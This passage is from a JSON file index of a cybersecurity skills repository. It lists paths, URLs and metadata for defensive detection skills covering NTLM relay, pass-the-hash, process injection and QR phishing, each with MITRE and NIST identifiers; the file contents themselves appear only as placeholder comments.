agents.","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","zeek","network-monitoring","anomaly-detection","threat-hunting"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071"]},"isInternal":false,"tokens":3687,"sizeBytes":14486},{"name":"api-reference.md","path":"skills/detecting-network-scanning-with-ids-signatures/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-network-scanning-with-ids-signatures/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-network-scanning-with-ids-signatures%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":437,"sizeBytes":1600},{"name":"SKILL.md","path":"skills/detecting-network-scanning-with-ids-signatures/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-network-scanning-with-ids-signatures/SKILL.md","title":"detecting-network-scanning-with-ids-signatures","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-network-scanning-with-ids-signatures%2FSKILL.md -->","frontmatter":{"name":"detecting-network-scanning-with-ids-signatures","description":"Detect network reconnaissance and port scanning using Suricata and Snort IDS signatures, threshold-based detection rules, and traffic anomaly analysis to identify Nmap, Masscan, and custom scanning activity.","domain":"cybersecurity","subdomain":"network-security","tags":["ids","nmap-detection","port-scanning","snort","suricata","reconnaissance","network-security","signature-detection","threshold-rules"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1595"]},"isInternal":false,"tokens":3433,"sizeBytes":13939},{"name":"api-reference.md","path":"skills/detecting-ntlm-relay-with-event-correlation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-ntlm-relay-with-event-correlation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ntlm-relay-with-event-correlation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1991,"sizeBytes":7407},{"name":"SKILL.md","path":"skills/detecting-ntlm-relay-with-event-correlation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-ntlm-relay-with-event-correlation/SKILL.md","title":"detecting-ntlm-relay-with-event-correlation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ntlm-relay-with-event-correlation%2FSKILL.md -->","frontmatter":{"name":"detecting-ntlm-relay-with-event-correlation","description":"Detect NTLM relay attacks (T1557.001) by correlating Windows Event 4624 LogonType 3 for IP-to-hostname mismatches, identifying Responder/LLMNR poisoning artifacts, auditing SMB/LDAP signing, and flagging NTLMv2-to-NTLMv1 downgrades. Use for hunting credential relay in NTLM-enabled AD, investigating auth-source anomalies, building SIEM correlation rules, or responding to PetitPotam/DFSCoerce/PrinterBug alerts.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","NTLM-relay","event-correlation","T1557.001","Event-4624","Responder","SMB-signing","LDAP-signing","NTLM-downgrade","PetitPotam","Active-Directory"],"version":"1.0","author":"mukul975","license":"Apache-2.0","atlas_techniques":["AML.T0051","AML.T0054","AML.T0056","AML.T0020"],"d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community Deviation"],"nist_ai_rmf":["MEASURE-2.7","MEASURE-2.5","GOVERN-6.1","MAP-5.1"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1069"]},"isInternal":false,"tokens":8961,"sizeBytes":34678},{"name":"api-reference.md","path":"skills/detecting-oauth-token-theft/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-oauth-token-theft/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-oauth-token-theft%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":416,"sizeBytes":1629},{"name":"SKILL.md","path":"skills/detecting-oauth-token-theft/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-oauth-token-theft/SKILL.md","title":"detecting-oauth-token-theft","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-oauth-token-theft%2FSKILL.md -->","frontmatter":{"name":"detecting-oauth-token-theft","description":"Detect and respond to OAuth token theft and replay in Microsoft Entra ID (Azure AD), covering access token theft, refresh token replay, Primary Refresh Token (PRT) abuse, pass-the-cookie attacks, and Token Protection conditional access policies. Use for impossible-travel or anomalous token-usage alerts, suspected session hijacking, sign-in log analysis, or configuring token-binding defenses in Azure/M365.","domain":"cybersecurity","subdomain":"cloud-security","tags":["oauth","token-theft","azure-ad","entra-id","conditional-access","token-replay","identity-security","PRT"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning"],"techniques":[{"id":"F1004","name":"Access with Stolen Session Cookie","tactic":"initial-access","source":"f3"},{"id":"T1539","name":"Steal Web Session Cookie","tactic":"positioning","source":"attack"},{"id":"T1557","name":"Adversary-in-the-Middle","tactic":"initial-access","source":"attack"},{"id":"T1550.001","name":"Use Alternate Authentication Material: Application Access Token","tactic":"initial-access","source":"attack"},{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"},{"id":"T1185","name":"Browser Session Hijacking","tactic":"positioning","source":"attack"}]}},"isInternal":false,"tokens":2873,"sizeBytes":12766},{"name":"template.md","path":"skills/detecting-pass-the-hash-attacks/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-pass-the-hash-attacks/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-hash-attacks%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":723,"sizeBytes":2632},{"name":"api-reference.md","path":"skills/detecting-pass-the-hash-attacks/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-pass-the-hash-attacks/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-hash-attacks%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":429,"sizeBytes":1545},{"name":"standards.md","path":"skills/detecting-pass-the-hash-attacks/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-pass-the-hash-attacks/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-hash-attacks%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":410,"sizeBytes":1563},{"name":"workflows.md","path":"skills/detecting-pass-the-hash-attacks/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-pass-the-hash-attacks/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-hash-attacks%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":641,"sizeBytes":2933},{"name":"SKILL.md","path":"skills/detecting-pass-the-hash-attacks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-pass-the-hash-attacks/SKILL.md","title":"detecting-pass-the-hash-attacks","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-hash-attacks%2FSKILL.md -->","frontmatter":{"name":"detecting-pass-the-hash-attacks","description":"Detect Pass-the-Hash (T1550.002) attacks by analyzing NTLM authentication patterns, flagging Type 3 logons using NTLM where Kerberos would be expected, and correlating with credential-dumping indicators. Use when threat hunting for lateral movement via stolen NTLM hashes, triaging EDR/SIEM alerts on suspicious NTLM logons, scoping compromise during incident response, or validating detection coverage in a purple team exercise.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","pass-the-hash","credential-access","t1550","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Token Binding","Execution Isolation","Restore Access","Application Protocol Command Analysis","Process Termination"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1003"]},"isInternal":false,"tokens":851,"sizeBytes":3614},{"name":"api-reference.md","path":"skills/detecting-pass-the-ticket-attacks/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-pass-the-ticket-attacks/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-ticket-attacks%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":766,"sizeBytes":2667},{"name":"SKILL.md","path":"skills/detecting-pass-the-ticket-attacks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-pass-the-ticket-attacks/SKILL.md","title":"detecting-pass-the-ticket-attacks","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-ticket-attacks%2FSKILL.md -->","frontmatter":{"name":"detecting-pass-the-ticket-attacks","description":"Detect Kerberos Pass-the-Ticket (PtT) attacks by analyzing Windows Event IDs 4768, 4769, and 4771 for anomalous ticket usage patterns, with detection queries for Splunk and Elastic SIEM. Use when investigating incidents involving stolen or replayed Kerberos tickets, building detection rules or threat hunting queries for ticket abuse, or validating SOC monitoring coverage for credential-theft attack techniques.","domain":"cybersecurity","subdomain":"threat-detection","tags":["kerberos","pass-the-ticket","active-directory","splunk","elastic","credential-theft","windows-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Token Binding","Execution Isolation","Restore Access","Application Protocol Command Analysis","Process Termination"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-06","ID.RA-05"],"mitre_attack":["T1078","T1190","T1059","T1003","T1110"]},"isInternal":false,"tokens":653,"sizeBytes":2868},{"name":"api-reference.md","path":"skills/detecting-port-scanning-with-fail2ban/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-port-scanning-with-fail2ban/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-port-scanning-with-fail2ban%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":668,"sizeBytes":2044},{"name":"SKILL.md","path":"skills/detecting-port-scanning-with-fail2ban/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-port-scanning-with-fail2ban/SKILL.md","title":"detecting-port-scanning-with-fail2ban","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-port-scanning-with-fail2ban%2FSKILL.md -->","frontmatter":{"name":"detecting-port-scanning-with-fail2ban","description":"Configures Fail2ban with custom filters and actions to detect port scanning activity, SSH brute force attempts, and network reconnaissance, automatically banning offending IP addresses and alerting security teams to suspicious network probing.\n","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","fail2ban","port-scanning","intrusion-prevention","automated-defense"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1595"]},"isInternal":false,"tokens":3632,"sizeBytes":12957},{"name":"template.md","path":"skills/detecting-privilege-escalation-attempts/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-privilege-escalation-attempts/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-attempts%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":746,"sizeBytes":2706},{"name":"api-reference.md","path":"skills/detecting-privilege-escalation-attempts/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-privilege-escalation-attempts/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-attempts%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":371,"sizeBytes":1297},{"name":"standards.md","path":"skills/detecting-privilege-escalation-attempts/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-privilege-escalation-attempts/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-attempts%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":443,"sizeBytes":1675},{"name":"workflows.md","path":"skills/detecting-privilege-escalation-attempts/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-privilege-escalation-attempts/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-attempts%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":630,"sizeBytes":2914},{"name":"SKILL.md","path":"skills/detecting-privilege-escalation-attempts/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-privilege-escalation-attempts/SKILL.md","title":"detecting-privilege-escalation-attempts","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-attempts%2FSKILL.md -->","frontmatter":{"name":"detecting-privilege-escalation-attempts","description":"Detect privilege escalation attempts across Windows and Linux, including access token manipulation, UAC bypass, unquoted service path abuse, kernel exploits, and sudo/doas abuse. Use when threat hunting for T1068-style privilege escalation, triaging EDR/SIEM alerts on suspicious privilege changes, scoping compromise during incident response, or validating detection coverage in a purple team exercise.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","privilege-escalation","token-manipulation","uac-bypass","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Token Binding","Executable Denylisting","Execution Isolation","Restore Access","Reissue Credential"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1068"]},"isInternal":false,"tokens":855,"sizeBytes":3687},{"name":"template.md","path":"skills/detecting-privilege-escalation-in-kubernetes-pods/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-privilege-escalation-in-kubernetes-pods/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-in-kubernetes-pods%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":225,"sizeBytes":1064},{"name":"api-reference.md","path":"skills/detecting-privilege-escalation-in-kubernetes-pods/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-privilege-escalation-in-kubernetes-pods/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-in-kubernetes-pods%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":300,"sizeBytes":1220},{"name":"standards.md","path":"skills/detecting-privilege-escalation-in-kubernetes-pods/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-privilege-escalation-in-kubernetes-pods/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-in-kubernetes-pods%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":260,"sizeBytes":1066},{"name":"workflows.md","path":"skills/detecting-privilege-escalation-in-kubernetes-pods/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-privilege-escalation-in-kubernetes-pods/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-in-kubernetes-pods%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":302,"sizeBytes":1200},{"name":"SKILL.md","path":"skills/detecting-privilege-escalation-in-kubernetes-pods/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-privilege-escalation-in-kubernetes-pods/SKILL.md","title":"detecting-privilege-escalation-in-kubernetes-pods","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-in-kubernetes-pods%2FSKILL.md -->","frontmatter":{"name":"detecting-privilege-escalation-in-kubernetes-pods","description":"Detects and prevents privilege escalation inside Kubernetes pods by combining admission control (OPA policies), runtime monitoring (Falco), and audit log analysis of security contexts, Linux capabilities, and syscall patterns. Use when investigating a pod running as root or privileged, hardening workloads against in-pod escalation, or hunting for containers exceeding their intended scope. Keywords: allowPrivilegeEscalation, runAsRoot, capabilities, securityContext, OPA, Falco, audit log. Do not use for escalation through RBAC and service-account permissions - use auditing-kubernetes-rbac-privilege-escalation.","domain":"cybersecurity","subdomain":"container-security","tags":["kubernetes","privilege-escalation","security-context","capabilities","detection","pod-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Restore Access","Password Authentication"],"nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525","T1068"]},"isInternal":false,"tokens":2210,"sizeBytes":9427},{"name":"template.md","path":"skills/detecting-process-hollowing-technique/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-process-hollowing-technique/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-hollowing-technique%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":246,"sizeBytes":972},{"name":"api-reference.md","path":"skills/detecting-process-hollowing-technique/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-process-hollowing-technique/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-hollowing-technique%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":300,"sizeBytes":1162},{"name":"standards.md","path":"skills/detecting-process-hollowing-technique/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-process-hollowing-technique/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-hollowing-technique%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":799,"sizeBytes":3127},{"name":"workflows.md","path":"skills/detecting-process-hollowing-technique/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-process-hollowing-technique/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-hollowing-technique%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1131,"sizeBytes":3819},{"name":"SKILL.md","path":"skills/detecting-process-hollowing-technique/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-process-hollowing-technique/SKILL.md","title":"detecting-process-hollowing-technique","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-hollowing-technique%2FSKILL.md -->","frontmatter":{"name":"detecting-process-hollowing-technique","description":"Detect process hollowing (MITRE T1055.012) by analyzing memory-mapped sections, hollowed process indicators, and parent-child anomalies using EDR telemetry, Volatility's malfind plugin, pe-sieve, Hollows Hunter, and Sysmon Event ID 25. Use when investigating a legitimate-looking process (svchost.exe, explorer.exe, rundll32.exe) suspected of hosting injected code via NtUnmapViewOfSection.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","process-hollowing","process-injection","edr","t1055","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Platform Monitoring","Process Code Segment Verification","Segment Address Offset Randomization","Process Analysis","Application Hardening"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1055"]},"isInternal":false,"tokens":1166,"sizeBytes":4904},{"name":"api-reference.md","path":"skills/detecting-process-injection-techniques/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-process-injection-techniques/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-injection-techniques%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":696,"sizeBytes":2648},{"name":"SKILL.md","path":"skills/detecting-process-injection-techniques/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-process-injection-techniques/SKILL.md","title":"detecting-process-injection-techniques","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-injection-techniques%2FSKILL.md -->","frontmatter":{"name":"detecting-process-injection-techniques","description":"Detects and analyzes process injection techniques used by malware including classic DLL injection, process hollowing, APC injection, thread hijacking, and reflective loading. Uses memory forensics, API monitoring, and behavioral analysis to identify injection artifacts. Activates for requests involving process injection detection, code injection analysis, hollowed process investigation, or in-memory threat detection.\n","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","process-injection","detection","memory-forensics","defense-evasion"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1027","T1055","T1140","T1497","T1070"]},"isInternal":false,"tokens":3527,"sizeBytes":14258},{"name":"template.md","path":"skills/detecting-qr-code-phishing-with-email-security/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-qr-code-phishing-with-email-security/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-qr-code-phishing-with-email-security%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":358,"sizeBytes":1502},{"name":"api-reference.md","path":"skills/detecting-qr-code-phishing-with-email-security/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-qr-code-phishing-with-email-security/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-qr-code-phishing-with-email-security%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":648,"sizeBytes":2445},{"name":"standards.md","path":"skills/detecting-qr-code-phishing-with-email-security/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-qr-code-phishing-with-email-security/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-qr-code-phishing-with-email-security%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":399,"sizeBytes":1668},{"name":"workflows.md","path":"skills/detecting-qr-code-phishing-with-email-security/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-qr-code-phishing-with-email-security/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-qr-code-phishing-with-email-security%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":638,"sizeBytes":2558},{"name":"SKILL.md","path":"skills/detecting-qr-code-phishing-with-email-security/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-qr-code-phishing-with-email-security/SKILL.md","title":"detecting-qr-code-phishing-with-email-security","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-qr-code-phishing-with-email-security%2FSKILL.md -->","frontmatter":{"name":"detecting-qr-code-phishing-with-email-security","description":"Detect and prevent QR code phishing (quishing) attacks that embed malicious URLs inside QR code images to bypass link-based email security, using image-based threat detection, OCR/QR decoding, and mobile-side scanning (Microsoft Defender for O365, Proofpoint TAP, Barracuda Multimodal AI). Use when configuring gateway rules against QR phishing or investigating suspicious emails containing QR codes.","domain":"cybersecurity","subdomain":"phishing-defense","tags":["quishing","qr-code","phishing","email-security","image-analysis","ocr","mobile-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0052","AML.T0024","AML.T0035"],"nist_ai_rmf":["MEASURE-2.8","MAP-5.1"],"nist_csf":["PR.AT-01","DE.CM-09","RS.CO-02","DE.AE-02"],"mitre_attack":["T1566","T1598","T1534","T1036","T1027"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","resource-development","initial-access"],"techniques":[{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"},{"id":"T1583.001","name":"Acquire Infrastructure: Domains","tactic":"resource-development","source":"attack"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":1520,"sizeBytes":6785},{"name":"api-reference.md","path":"skills/detecting-ransomware-encryption-behavior/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-ransomware-encryption-behavior/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-encryption-behavior%2Freferences%2Fapi-reference.md 